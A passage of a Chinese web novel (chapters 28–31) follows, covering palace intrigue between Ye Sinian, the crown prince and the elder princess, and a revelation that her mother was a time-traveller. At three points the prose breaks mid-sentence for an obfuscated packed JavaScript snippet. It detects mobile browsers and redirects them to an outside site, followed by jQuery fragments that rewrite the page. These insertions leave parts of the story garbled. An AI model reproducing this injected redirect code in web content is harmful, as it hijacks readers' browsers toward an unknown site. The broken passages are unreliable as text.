“郡主见谅,太子有令。” 叶斯年眉头一蹙,语气中透着不耐:“说吧?” “太子说,请郡主稍安勿躁,三五日后再约见苏家娘子。” “三五日?”叶斯年微微挑眉,声音里多了几分讥讽,“这三五日,他能变出什么名堂来?” 卫珩恭谨答道:“太子未曾多言,郡主若有话,卫珩可以带回。” 叶斯年瞪了他一眼:“我怎么瞪你,你回去就怎么瞪他。这就是回话。” 28.纷纷扰扰 叶斯年和青枝刚回到门口,便有宫人迎了上来:“东华郡主,二殿下有请。” 叶斯年给了青枝一个眼神,随即点头示意,跟着宫人离去。青枝见状,心中顿生不安,转身匆匆回了房。刚一进门,瑾年便敏锐地察觉到她的慌张,立刻意识到出事了。 思醴见状,心领神会,便道:“改日到宁安王府找你们。”说完,迅速离开了。 瑾年安抚着青枝的情绪:“卫珩一定就在附近,方才我就看见他的身影在湖边。”她话音未落,果不其然,卫珩从窗户迅速跳了进来。 “失礼了。殿下吩咐,一切有他处理,让你们不用担心。”卫珩语气恭敬,却不失紧迫感。 瑾年没有看向他,而是定定地望着窗外的湖面,淡淡地说道:“卫护卫,请你转告殿下,一切有长公主殿下。”她的目光依旧停留在湖面上,仿佛没有察觉到卫珩和青枝的目光。 卫珩和青枝顺着她的视线望去,却什么也没发现。瑾年这才收回目光,转过头催促道:“长公主已经带人去了二殿下那边了,你赶紧拦住太子殿下,快去!” 卫珩一时反应不及,被她推着往外走,差点忘了自己是从窗户进来的。看到瑾年如此决绝,他也不敢迟疑,立刻转身从窗台飞奔出去。 果然,正如瑾年所料,赵煜已快步逼近赵渊歇息的风竹轩,突然间,卫珩飞身而出,将他一把拦住。卫珩动作干脆利落,径直将赵煜带入竹林深处。 赵渊听到外面传来的动静,微微皱眉,低声问身边的宫人:“刚才似乎听见太子的声音?”他眼神一动,转头看向正在旁边候着的叶斯年。 赵渊神色依旧恭谨,举止如常,与方才得体的模样别无二致,然而言语间却透着几分压迫:“今日请郡主前来,本是想与郡主私下谈谈,未曾料到——如今看来,似乎已经没有这个必要了。” 叶斯年心中一紧,目光不由落在身前垂下的琉璃香囊上。她猜测赵渊此言,多半与此物有关。或许,他是想借此试探叶太尉的态度。于是她含笑答道:“承蒙殿下赏识,斯年惶恐。” “你惶恐什么?”赵渊语气随意,似笑非笑地盯着她,“我听郡主席上的议论,似乎并不甚在意男女不同席这些守旧礼数。” “殿下说笑了,”叶斯年微微垂眸,却毫无畏惧。她知道赵煜此刻应已在途中,于是缓缓答道:“斯年虽偶有浅见,却不敢逾越礼数分寸。倒是殿下,似乎比斯年更洒脱于陈规之外。” 这时,远处传来一声清亮的嗓音:“二弟,这是做什么呢?斯年郡主可是你的坐上宾,怎能如此怠慢?” 来人一身紫绫华服,步履间尽显威仪,却又带着几分轻快。竟然是长公主赵玥。 赵渊闻声抬眸,略显无奈地笑道:“阿姐误会了,我不过与郡主请教一二。”他回头吩咐下人:“还不快搬椅子来。” 赵玥不理会他,径直走到叶斯年身旁。她笑得明媚,眼里却透着不容置喙的坚定:“斯年,我正好有些事找你。随我走吧。” 赵渊眉头微蹙,目光再次落在叶斯年的香囊上,声音低沉:“阿姐稍等。我只问郡主一句——郡主佩戴的琉璃香囊,是宁安王府的珍玩,还是何人所赠?” 叶斯年抬眼望向赵渊,目光平静,沉声答道:“斯年所佩,自是斯年所有。” 赵渊不语,目中多了几分寒意。他笑了笑,转瞬却显出几分凌厉:“既然如此,那便罢了。” 话未说完,赵玥已将叶斯年挡在身后,目光冷然:“二弟如此发问,那我也问一句,这是你的意思,还是王贵妃授意?” 赵渊微微眯眼,原本的笑意渐渐隐去,但语气依旧温和:“阿姐一向明辨是非,如今怎的也卷入了这纷争?” 赵玥冷哼一声,眉眼间锋芒毕露:“二弟难道不知,我最见不得你们这般为难女子。她被束之闺阁多年,她的意愿谁听了?你们一个个口口声声说‘女子无才便是德’,可到了需要挡刀挡剑的时候,却偏偏推她们出来。若真有疑问,怎的不去问问叶太尉和太子?” 赵渊敛了笑意,微微低头,语气淡然却隐带讥讽:“阿姐的脾性,还是改改为好。这样锋芒毕露,可不讨人喜欢。” 叶斯年听得这话,只觉油腻得叫人发憷,索性不再隐忍。既然话已挑明,她便淡然回道:“长公主殿下自是肆意盎然,又何必在意旁人喜不喜欢?” 赵玥冷笑一声,懒得与他多作纠缠,径直拉起叶斯年的手准备离去。临行前,她语气微冷地说道:“二弟平日里口口声声讲礼制,自己也该守一守才是。斯年的不拘,是她的洒脱,可由不得你随意拿捏。别忘了,她可是陛下亲封的东华郡主。” “谢长公主。”叶斯年说着,微眼看了赵渊一眼。他仍旧立在原地,唇角含笑,眼底却写着警告。 赵玥一路沉默,领着叶斯年来到绮霞轩旁的银杏林。金黄的银杏叶如蝶般飘落,层层叠叠铺满地面,踩上去便响起轻微的簌簌声,如同秋日的低语。她屏退左右,环顾四周:“这里敞亮,是个谈话的好地方。便是太子身边的卫珩,也难以悄然靠近。” 她轻轻叹了口气,目光若有所思:“太子小的时候,我就是这么教他的。他那时心思单纯,不懂太多算计。可自从成了太子,一切都变了。如今倒好,连我这个做阿姐的,有时也摸不透他的心思了。” 赵玥定定地盯着叶斯年,眼神犀利而直白,没有一丝游离:“之前太子出宫见你和诸位娘子,我还未曾注意到你,只以为是太子终于肯妥协,准备择婚。可后来你闹事,太子给你兜了底。如今他竟把这琉璃香囊赠予你。你以为宫门就这么好进吗?” 叶斯年垂下眸子,语气波澜不惊:“斯年不明白殿下的意思。” 赵玥冷笑一声,声音中透着几分威压:“别装了。不然你自己回赵渊那儿吧。” 叶斯年抬眸,目光微转,神色从容而淡然:“斯年倒是想知道,长公主为何要替我解围?既然殿下今日可以抢在太子之前为斯年解围,斯年又如何进不得这道宫门?” 赵玥唇角一扬,终于露出几分笑意:“你到底想做什么?”她上前几步,语气多了些意味深长的数落:“你大闹仙乐坊,跟花月阁抢人,逼得他们的人牙子自尽。你久居闺阁,从不在人前露面,最近却一再出现在风口浪尖。中秋宴上的一鸣惊人,只怕也是计划良久。太子到底从何时与你扯上了关系?他十五岁以来拒婚无数,为何偏偏对你,另眼相看?” 叶斯年淡然一笑,语气温和却锋芒暗藏:“殿下似乎对太子颇为上心,不知是为了旁观,还是有意参与?” 她稍作停顿,又不疾不徐地说道:“既然殿下如此关切,不妨直接问太子。若与二殿下无异,又何必为难斯年?” 漫天银杏叶在风中簌簌飘落,如同千军万马在耳畔奔腾。赵玥伫立在这萧瑟的秋风中,目光紧锁着叶斯年,忽而轻叹一声:“赵煜赵渊,我谁也不站。景和元年,叶绍与李清荣夫妇的恩情,我至今铭记,也由衷敬佩。从前传闻你癔症缠身,我便知道不过是障眼法。如今你入世,我原以为你该与我合作才是。可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14727005|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何偏偏选了太子?” 叶斯年心中泛起疑虑。她对这位长公主知之甚少,可对方言辞中透出的野心和笃定,却令人警惕。她如此直白地表露心迹,莫非真是胜券在握,不怕她转身去告知赵煜?更令人不解的是,赵玥与叶绍、李清荣之间究竟有何渊源?为何会笃定癔症的传言不过是假象? 叶斯年收敛心绪,按下满腹疑问,平静地说道:“在为天下女子争席位这件事上,斯年愿与殿下携手,同心同盟。” 赵玥目光微敛:“那我呢?你就不肯为我争一争席位?”此刻的赵玥锋芒毕露,犹如刀剑出鞘,直指人心。 叶斯年未曾料到,长公主竟会在未来太子妃面前如此直言不讳。她抬眸直视赵玥,心中的疑虑化作深沉的凝视,却依然语气坚定:“除此之外,斯年不站任何人。” 金色的秋风卷起漫天的银杏叶,在两人之间纷纷扬扬。赵玥抬眼望着漫天黄叶,沉默了许久。半晌,她幽幽叹息:“我早该料到。你和你的母亲,是如此相像。” 叶斯年心中疑虑重重,但此刻能问出口的却只有一个。她顺着赵玥的目光望去,目光空远而未着焦点:“殿下又是如何知晓二殿下请我过去的?” “斯年,宫闱之内,‘高处不胜寒’。赵煜眼下虽心悦于你,可他是太子,不会只有一个正妻。我再问你一次,你是否真的愿意与赵煜结为夫妻?” 叶斯年尚未明白赵玥为何如此执着于这个问题,欲开口发问,赵玥却不给她机会,直接说道:“是苏廷章。你与廷章结为连理,与我结盟,岂不是更好的选择?” “苏廷章?”叶斯年微微一怔,这个答案是她从未料想过的,脑海中不由浮现出斯年信中提到那位公子时难掩的欣喜。落叶纷飞,宛如她前世初恋的序曲,竟让她隐隐生出几分共鸣。 落叶纷飞,是她前世初恋的序章。她很快压下了心底隐约的共鸣。苏廷章终究不是属于她的情感,而她也不是苏廷章想要寻找的人。她会为斯年的归来留一条退路,却不能是她自己。赵煜自然是她该认定的朋友,但也仅此而已。她早已无法与任何人建立亲密关系。 若非侥幸得以重获新生,她的灵魂或许早已被怨气吞噬,困在无边的黑暗里永无出路。如今的她,不知何时会醒来,不知何时会沉寂,只想在有限的时光里不枉此行。既如此,她更不会,也不能为谁孤注一掷。若赵玥登基,那自是再好不过,她愿助赵玥铺平道路。若赵玥失败,那便由她来布局翻盘。 叶斯年按下心中的纷乱,平静说道:“你我既为共谋大业,便更不可孤注一掷。” 赵玥语气中透着几分意味深长:“我不再劝你,但你要记住,若成了太子妃,日后可是不能和离的。这琉璃香囊,可不止我和赵渊认得。他这招可是把你架上了。” 话落,赵玥收敛笑意,转身说道:“回去吧,国子监祭酒还在等你前去论学。” 叶斯年目送赵玥远去的身影。秋风依旧缭绕,天地间纷纷扰扰。 她从未奢望自己能够与那些自幼熟读谋略、洞悉大沅权力格局的天皇贵胄抗衡。作为一个异世界的穿越者,她对大沅的历史完全不了解,没有开挂的预知能力,如何去撼动这片土地上深植已久的权势? 她本就不是双商极高之人,无需在陌生世界中勉力谋划。她只需嫁接在太子身上,依托皇家权势,借此发出信号,自有此间勇者去披荆斩棘的事。赵玥、范思醴、苏云卿、韩婉、杨明煊……她们才该是大沅的女性先驱。能与这些人并肩同行,也算不虚此行了。 29.心悦于你 三天后的夜里,宁安王府寂静无声。青枝正帮叶斯年整理书稿,忽然听见院外传来一阵细微的响动。她迅速走近窗边,挑开一角窗纱,只见一道熟悉的身影轻巧地翻过院墙,稳稳落地,动作敏捷如猫。 “有刺客!”青枝立刻熄灭了蜡烛,拔出随身的短刀,悄无声息地隐入暗影中。 那人落地后却并不慌张,几步上前,抬手轻敲窗棂。 叶斯年闻声挑眉,缓步走到窗前,脸上挂着笑,冷冷地看着他:“太子殿下,真是好兴致呢。” 窗外的赵煜露出一脸笑意,语气轻快:“郡主殿下,我这次特意敲门了,礼貌吧?” 叶斯年懒得与他计较,转身对青枝吩咐道:“请将军去书房,就说太子来了。” 青枝应声离去,叶斯年却没有请赵煜进门的意思,只站着窗边问:“殿下这几日忙什么呢?今日又是为何而来啊?” 赵煜靠在窗框上,笑得满不在乎:“忙着花月阁的事。还有——”他从袖中取出一个琉璃香囊,缓缓放在窗台上,“自然是来归还它的主人。” 叶斯年目光落在那香囊上,嘴角的假笑都消失了。她伸出两根手指将它捡起,又随意地抛回去:“殿下的东西贵重,我可不敢要,自个儿收着吧。” 赵煜差点没接住香囊,一时有些狼狈,有些尴尬地说道:“我那天不是跟你解释过了吗?认得这个香囊的,只有宫里的人。当年我病重时,一直住在皇后宫中,这香囊是那时带的,宫外的人根本不可能认得。” 他顿了顿,语气压低几分:“皇后最近神经兮兮,前几天还对我念叨,说苏家越来越出格,又提起韩韫之大人的女儿,说她也不错。如果我不赶紧有所行动,皇后就要去官家面前乱点鸳鸯了。” 他顿了顿,眉头微蹙,语气里带着几分不悦:“更别提赵渊那天分明有意向你提亲,还好我让你戴着这个香囊,他才不好意思开口。” 说完,他眯起那双桃花眼,嘴角勾起一抹得意的笑意:“不过你不用担心,我已经向官家求了赐婚,说我心悦于你。” “心悦”二字轻飘飘地从他唇间溢出,却像一枚石子投入平静湖面。叶斯年心头一动,前世少有听过几句“喜欢”,竟让她一时恍惚。可赵煜的话不过是说辞。他们之间只是各取所需的合作,冠以婚姻之名罢了。 她垂下眼帘,掩去眼底的情绪,嗤笑一声:“花前月下,当朝太子翻墙入室,对王府郡主表露‘心意’。这事儿听起来,可真像登徒子所为。” 说罢,她敛去笑意,眸中透出几分凌厉:“还赐婚呢?你大半夜翻墙进来,是打算这么和叶将军谈赐婚的事?你我可以不拘礼制,但将军不是。就凭你是太子,就可以如此不尊规矩?” 她低垂着眼帘,目光落在趴在窗台上的赵煜。凛冽的眼神如寒锋出鞘,牢牢锁住他那还不知死活还在扑闪着的桃花眼。 “赵煜,”她语气沉冷,一字一顿地说道,“你起码该对叶太尉心存几分敬意。否则——别怪我不客气。” 话音落下,四下寂静,唯有风掠过窗棂,带起灯烛微微摇曳。两人明明是对峙的身位,叶斯年却觉得一拳打在棉花上,没劲透了。 赵煜今天心情格外美好,哪怕面对叶斯年那张臭脸,也依旧堆出满脸笑意,轻快地说道:“知道了啦,长公主已经斥责过我了。今晚主要是想跟叶太尉商量花月阁的事儿。不过——你啊,根本没把我的话放在心上。我说了远离苏家的人,怎么还对苏廷章这么没有戒备?他也姓苏!” 叶斯年听他叽里咕噜说了一连串,语速飞快还透着理直气壮,顿时觉得头疼。她抬眼瞟了他一眼,带着毫不掩饰的鄙夷:“这话你已经说过了。我也回答过了。” “那我再强调一遍,你再跟我保证一遍。”赵煜不依不饶,说着竟干脆扒住窗台站了起来,一副誓不罢休的模样。 “你有完没完?”叶斯年皱眉,语气透着不耐。 “我认真的!”赵煜一本正经,但脸上的笑意丝毫不减。 叶斯年只觉得头疼。他们又不是在谈恋爱,不过是各取所需演场戏罢了。这才刚起步,连宫门都没进,赵煜就已经管得这么严。她不过是在那天论学时,与苏廷章多说了几句话,结果这人倒好,硬是把事情上纲上线。当天送信提醒,如今人来了还要再唠一遍。 那日论学,她和赵玥默契十足,始终点在场女子的名字。赵玥点名,她就附和。轮到她发言时,她却只淡淡道:“旧居深闺,与二殿下并不熟络,送别太虚情假意,唯愿长安百姓安居乐业。”话锋四平八稳,滴水不漏。 可偏偏苏廷章不依不饶,硬是揪着叶斯年的话不放。叶斯年倒也不恼,觉得有趣,便你来我往地应付了几句。苏廷章话里话外流露出几分别样的意味,但她早有分寸,寥寥数语轻巧化解了他的攻势。 眼见苏廷章还想再进一步,韩婉忽然笑着出声:“好了好了,苏郎既然对‘长安百姓安居乐业’这句如此钟情,韩婉倒也不妨添上一笔。” 她款款起身,目光扫过众人,举止从容,随即朗声吟诵: 《临江仙·赴长安》 瑶水秋风辞旧梦,黄叶落尽西楼。 一身长策赴瀛洲。 青云平步远,燕雀几曾愁。 长安别有新图待,万户期安百州。 但教黎庶得丰收。 归来看故里,明月照松丘。 诗成之际,厅内顿时一片寂静,随即爆发出热烈的喝彩声。韩婉这一首词,既为二殿下送别,又寄愿长安百姓安居乐业,立意高远,辞藻雅致,举座无不叹服。当日论学的头魁,自然落在她的名下。连翰林院的魏公也不再多言,颔首以示认可。 之后,叶斯年与范思醴便一顿猛夸韩婉才情过人,全然没再看苏廷章一眼。 可这问题避而不答终究不妥,毕竟苏廷章算是斯年的故人。她抬手轻按赵煜的肩膀:“苏廷章从前与斯年有过一面之缘。上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740818|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元佳节,他们一起放过天灯。此后便再无交集,大概是因为苏廷章去了长安府。否则只怕等不及叶绍回京,就已上门提亲了。” “我看苏廷章确实是谪仙一般的人物,要是我跟他一起放天灯,我也会心悦于他。”赵煜说着,刚蹲下去又忍不住站了起来。叶斯年顺手一按,将他重新按回原处,哪知手却被赵煜反手握住:“苏廷章可不简单,他可是个惯会花言巧语的人。” 叶斯年轻巧地抽回手:“你倒是说说,他怎么个花言巧语法?” “坊间传言。” “坊间还传闻你不近女色,手段凶残呢。”叶斯年懒得理他,抬手准备关窗,语气清冷:“去书房吧,你怎么来的就怎么过去。” 赵煜张了张嘴,似乎还想说什么,然而叶斯年已干脆利落地关上了窗,扬长而去。赵煜愣了片刻,无奈地应了一声,只好翻身跃上屋檐,身影很快消失在夜色中。 叶绍的书房静谧而威严,灯火映照在案上的山河图上,仿佛将波澜暗涌的江山展现在眼前。 “太子殿下深夜造访,可是有何急事?”叶绍率先开口,语气沉稳不急,却自带一股威慑之力。 赵煜站在书房中央,微微一笑:“确实有些情报需要与叶太尉互通消息。不过……”他顿了顿,目光掠向一旁的叶斯年,“也还有些私事。” 叶绍靠在椅背上,语气淡然却透着几分揶揄:“都坐吧。太子殿下是想先谈公事,还是私事?” 叶斯年随意找了个位置坐下,目光却不由落在赵煜身上,心中暗觉好笑。这位浪荡太子竟然正襟危坐,一派规规矩矩的模样。 赵煜稍作思索,正色开口:“那便先谈公事吧,关于花月阁的事。” “既如此,臣先有一问。”叶绍直起身,目光沉稳地看向赵煜,“我知道你和斯年一样,身份特殊。但我想问一句,你是否真将自己视为大沅太子,愿为这天下百姓尽心?” 赵煜闻言,神情顿时严肃起来,拱手说道:“幸得重生,当为苍生谋盛世。” 叶绍点点头,目光转向叶斯年,语气稍缓:“至于你,最近的动作倒是不少。我且问你,你心中所求为何?” 叶斯年淡然道:“那自然是,为天下女子,分一半盛世。” 叶绍闻言,轻轻点头,嘴角浮现一抹欣慰的笑意:“不愧是清荣的女儿。” 听到这句话,叶斯年心中一震,目光落在叶绍脸上——怎么会突然提到李清荣? 赵煜则不动声色地从怀中取出一本册子,随手放到案上:“这是这些年我整理的关于花月阁的情报。可惜至今未能探清背后真正的掌控者,只发现李家旁支似乎牵涉其中。” 叶绍瞥了册子一眼,随后摆摆手:“这些事,你恐怕是摸不着门道的。” 说着,他缓缓起身,指尖轻轻叩了两下桌案:“既然传说中的叶斯年已经入世,太子殿下也入了局,那我便索性把事情都与你们两位关键人物说清楚吧。” 30.蝴蝶效应 书房内寂静无声,唯有灯花时而炸响。叶绍沉默着,无人敢贸然开口打破这份压抑。 “李清荣,斯年的母亲,是这个世界的穿越者。”叶绍终于开口。他声音低沉,却如平地惊雷。 他转而看向赵煜:“当年的大皇子,赵诘,也就是你的皇伯,也是。” “他们密谋多年,为的是拨乱反正,改变皇室腐败的命运。景和元年……我们成功了,也失败了。” 他的逐字逐句都仿佛经过千斤重的权衡,才艰难从口中吐出,带着无法掩饰的沉重。这几句话,在叶斯年和赵煜心中掀起了惊涛骇浪。 当年的往事随着叶绍低沉的讲述缓缓展开,仿佛一幅尘封已久的画卷,被一点点揭开。 嘉和元年,北境爆发瘟疫,生灵涂炭,死伤无数。为了确认自己是否真的进入了这段历史,也为了挽救苍生,十六岁的李清荣只身前往北境。 在北境漫天的风沙中,她结识了少年将军叶绍,以及同样为了确认历史真伪而现身的大皇子赵诘。三人成为挚友,而北境的动荡也成为他们命运交汇的起点。 次年,李清荣与叶绍结为夫妇。同年,叶承泽诞生——他本该是历史上声名显赫的大将军。 嘉和四年后,润州海寇猖獗,祸患频仍。李清荣知道这场动乱在历史中延续多年。大沅向来重文轻武,眼下唯有叶家军有能力平定海寇。她深思熟虑后,向叶绍提出建议,请旨率军剿灭海寇。 不久后,叶绍凯旋归京,但叶家却为此付出了异常沉重的代价——老叶将军殒命润州。而与叶绍一同归来的,还有为保护叶家军而付出巨大牺牲的周家之女——周苓。 周苓是瑶京周家的庶女,自幼被养在润州老家。这场战役中,润州周家几乎全族尽殁。临终前,老叶将军嘱托叶绍护送周苓回瑶京,并迎她入府为侧室,以报救命之恩。 这是李清荣第一次改变了历史。 嘉和十六年,亦即景和元年,是一个至关重要的转折点。那一年,大皇子赵诘终于揭开了大沅腐败的根源。 在李清荣和赵诘这两位穿越者的记忆中,大沅曾是文化巅峰,无数思想前卫的学者层出不穷。然而,这个辉煌的王朝却因赵氏皇室的逐渐腐朽,最终走向了盛世的覆灭。而这一切的根源,竟是连史书都不敢记载的皇室丑闻。 嘉和十六年春,赵诘夜访叶府。也是在这一夜,叶绍才知道,赵诘和李清荣竟然都是来自千年之后的穿越者。 “那天夜里,赵诘像是散了架似的……清荣说他是崩溃了。”叶绍回忆起往事,眼中不禁浮现泪光。 那是一个阴冷的春夜,湿冷的风夹杂着寒意,直往骨缝里钻。叶绍推开府门的刹那,整个人顿时愣住了。赵诘的身影狼狈不堪,衣衫凌乱,眼神涣散无光,见到叶绍的瞬间,便摇摇欲坠,最终瘫软倒在他身上。 “清荣!”叶绍连忙将他抗进内院,大声唤人。 李清荣匆匆赶来,脚步猛然一顿,整个人愣在原地。她从未见过赵诘如此狼狈,此刻这个摇摇欲坠的男子,哪里还有半分逍遥王爷的影子?从前的赵诘,可是整天戏称自己命好,一朝穿越,竟成了历史上有名的游手好闲的大皇子。 赵诘瘫倒在书房的榻上,彻夜无言。他的目光空洞,焦距散乱,却又死死盯着虚空中的某个点。他的肩膀时不时轻轻颤抖,每一次,都像是全身的力气被抽尽。 直到黎明破晓,赵诘突然猛地开始干呕,随即失控般撞向墙壁,甚至抽出叶绍的剑,喃喃自语:“反正都死过一次,我该死,大皇子该死,全都该死……” 叶绍一把夺下他手中的剑,将他死死抱住,制止了他的疯狂。李清荣急忙端来一盆热水,为他细细清理脸上污垢与泪痕。 赵诘的身体渐渐软下来,声音沙哑而带着绝望的颤抖:“游手好闲?好一个游手好闲的大皇子!史书上寥寥几笔的风月韵事,是多少家庭、多少幼女的噩梦!” 叶绍和李清荣僵在原地,心中隐隐猜到了什么,却不敢细问。他们下意识地,想与这残酷的真相再保持片刻距离。也正是从这一刻起,叶绍终于确认,赵诘和李清荣,都是来自千年以后的穿越者。 赵诘的目光飘忽不定,嗓音低哑得几乎听不清:“霓裳馆……” 忽然,他的声音陡然拔高,带着仿佛要撕裂声带的咆哮:“那是最肮脏的罪恶!而我——”他咆哮的声音如撕裂般响彻房间,震得四壁都在颤抖。 话音戛然而止,他的胸膛剧烈起伏,片刻后,缓缓闭上眼,耗尽了最后一丝力气,喃喃道:“赵诘,就是霓裳馆的常客。” 李清荣满脸泪痕,默默地背过身去,不忍再看。“我们好不容易才接受了新的身份和人生,难道现在还要背负这副身体曾经的罪恶吗?”她极力压制着微微颤抖的身躯。 叶绍也压抑着痛楚,声音低沉,:“霓裳馆……是教坊司名下的艺馆……” 而他们的朋友,已被这残酷的真相击得支离破碎。 他无法接受这样的皇室,无法接受这副身体曾经的罪恶,整个人陷入了漫长的崩溃。最终,在嘉和十六年秋,赵诘做出了最激烈的决定——弑父杀君。 在李清荣所述的历史中,嘉和帝驾崩后,太子赵芥继位。这位新帝荒淫无度,几年后病逝,膝下无子,皇位最终传给了弟弟赵义。赵诘和李清荣都不确定历史是否可以被改变,更不知道,贸然改变历史会引发怎样的后果。 “为此,他们争论了几个月,”叶绍语气低沉,目光沉凝,“他们反复提到两个词,‘蝴蝶效应’和‘祖父悖论’。我想你们俩应该明白。” 叶斯年与赵煜沉默点头。 赵诘和李清荣,都是这个世界千年之后的穿越者。他们深知,哪怕是最微小的改变,都可能引发连锁反应,在千年之后酿成无法预料的巨变。甚至,他们自身的存在或许都会因此被抹去,又何谈穿越?而如今,弑父杀君,篡改历史走向,这样的举动,其后果更是不可想象。 叶斯年感到一阵寒意袭来,不由将披帛裹得更紧。她的手指微微发抖,下一瞬,一只冰凉的手覆了上来。她抬眼望去,是赵煜略显苍白的侧脸。他在发抖。 叶斯年也无法开口,只能用力握紧他的手。此方天地的穿越者尚且如此,他们这两个异世界的来客,连自己身在何处都不清楚,又何谈改变? 叶绍沉默片刻,目光落在远处,像是在穿越时空回望那段惊涛骇浪的岁月。 那一夜,叶绍驻兵城外,李清荣带着一小队护卫潜伏在城内,随时准备接应赵诘出逃。他们心中存着一丝忐忑,隐隐觉得或许会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“至于你……”叶绍凝视着叶斯年,目光在她那张与李清荣几分相似的脸上停留片刻,缓缓地讲述:“她早就知道你来了。历史上的叶斯年,十六岁入世。清荣担心你贸然改变历史会引发动荡,她已经因此失去了一个儿子。她嘱托我和周苓,无论如何都要在你十六岁之前将你困在家中避世,切不可与皇室往来。” “她没有明说你是谁,但她的神情中分明透着不忍与犹豫。”叶绍停顿了一下,又艰难开口:“所以,我也抱着一丝侥幸,想护你周全。不愿你入世,不愿你入宫。皇后提出让瑾年替代斯年的时候,我索性将计就计。我以为瞒天过海,让斯年‘死’一次,或许就能逃脱清荣畏惧的未来。却没想到……入世的,终究是你,而不是斯年。” 叶绍的讲述戛然而止,书房内陷入一片死寂。 良久,赵煜才幽幽开口:“那我呢?死而复生的太子,又是什么?”他说得平静,没有期待任何回答。 叶绍沉默片刻,随手翻开赵煜方才的小册子,视线掠过页面,又是良久才缓缓说道:“当年太子死而复生时,清荣确实感到意外。她说,历史上赵义即位后的第一个太子是病逝的,但毕竟历史已经改变了。赵诘早已云游四海,我们也无从接触到你,所以直到近日,我才终于明白——你也是穿越者。” 他的目光在赵煜和叶斯年之间徘徊,语气沉重:“如今,你们都已入局。过去,我们三人未竟的事,该由了结了。” 31.前朝玄月 “你既已经来了,就好好做大沅的太子吧。我是这个时代的老人了,未来的路怎么走,你们自己商议吧。”叶绍说完所有能说的话,缓缓起身,朝门口走去。 临行前,他抬头望着天边一轮弦月,自言自语般低声道:“叶家军既已拿下靖北州,我的历史使命算是完成了吗?”他摇了摇头,负手而去。 书房内一片沉寂,只有烛火跳动,映在赵煜的眼眸中。他忽然开口:“你可还记得我方才提过的婚事?”他有些小心翼翼,微皱的眉头也暴露了他的急切。 叶斯年从沉思中抬起头,目光依旧是那么冷淡:“太子殿下为何说这是你的私事?” 方才赵煜提起婚事时,叶绍沉吟良久:“历史上的太子赵煜早夭,与叶斯年从未有过交集。如今你提起这桩婚事,究竟算公事,还是私事?” 赵煜毫不犹豫,坦然答道:“私事。” 叶斯年意外于他的直白,却冷冷地侧过脸,未作回应。 赵煜上前一步,眼中带着真切而执着的光:“我方才说了,我心悦于你。” 叶斯年笑了一声,却带着几分讽刺:“太突兀了,赵煜。这样的话,我实在不知道该怎么接。” “哪里突兀了?我喜欢你,有什么不对?”赵煜的神情一滞,但还是勉强露出一抹笑。 叶斯年收回视线,语气平静得近乎冷淡:“都说老乡见老乡,两眼泪汪汪。你只把我当老乡就好,不必把这么多感情投射在我身上。我会觉得窒息。” 赵煜的笑意彻底凝固,眼中闪过一丝痛楚:“窒息?” “没错,窒息。你把太多感情投射在我身上,而我根本无法回应,无法给你任何情绪价值。这样的关系,只会让我感到负担。我会觉得很窒息。”叶斯年神色冷淡,不为所动,语气中带着一丝责问。 她眼神微微闪烁:“更何况,听叶太尉方才的意思,我在他们的历史中似乎并不是什么好人。你不怕吗?” 她再次侧过脸,声音低了下来,喃喃自语:“连我自己都怕了。” 赵煜自方才起便僵立在原地。他没有回应叶斯年的话,只试探着问:“那你还会进宫吗?” “进。”叶斯年毫不犹豫地答道,语气坚定而冷静:“我想做的事不会变,不管他们的历史中我是什么人,好坏随意。我需要的是权势。将门嫡女、王府郡主,这些都不够。” 她的眉眼缓和了些许,语气稍稍放软:“但我有两个条件。第一,我们只能是合作关系,其他的事一概不谈。第二,日后若是斯年回来了,她选择苏廷章,你放她离开。” 赵煜沉默了片刻,抬眼看向她,眼底满是深深的失落,却依旧挂着一抹温柔的笑意,轻声说道:“都听你的。” 叶斯年心中升起一丝内疚,终于抬眼与他对视:“你也可以向我提条件。” “什么都听你的。你来,我已经很高兴了。”他目光依然温和,却带着一丝隐忍的酸涩。 叶斯年愣愣地站在原地,直到赵煜的身影彻底消失,她才回过神来。胸口像是被堵住了一样,她觉得自己好像缺了什么重要的东西,心里一片空荡荡的。 泪水不知何时涌了出来,她在心里一遍遍地斥责自己:赵煜没有错,他不过是喜欢上了一个和他来自同一个世界的人,想关心她、了解她,这怎么会突兀?这不正是男男女女之间最正常的感情吗?难道这不是一见钟情的戏码?不是命中注定的天赐良缘?可我为什么非要说那些话?什么窒息……太伤人了。难道赵煜不正是因为皇后而感到窒息吗? 可是她无法控制自己。她总是被拒绝,所以她只会用拒绝来回应爱。 秋风裹挟着夜露扑在脸上,冰冷刺骨。她慌不择路,只想赶紧回到温暖的被窝里,却跌跌撞撞,脚下一个趔趄,险些摔倒。 “郡主!” 一双有力的手及时扶住了她。 她抬头,是青枝半跪着稳稳撑住她,脸上写满担忧,却什么也没问,只默默将她扶起,搀着她一步步回到了房间。 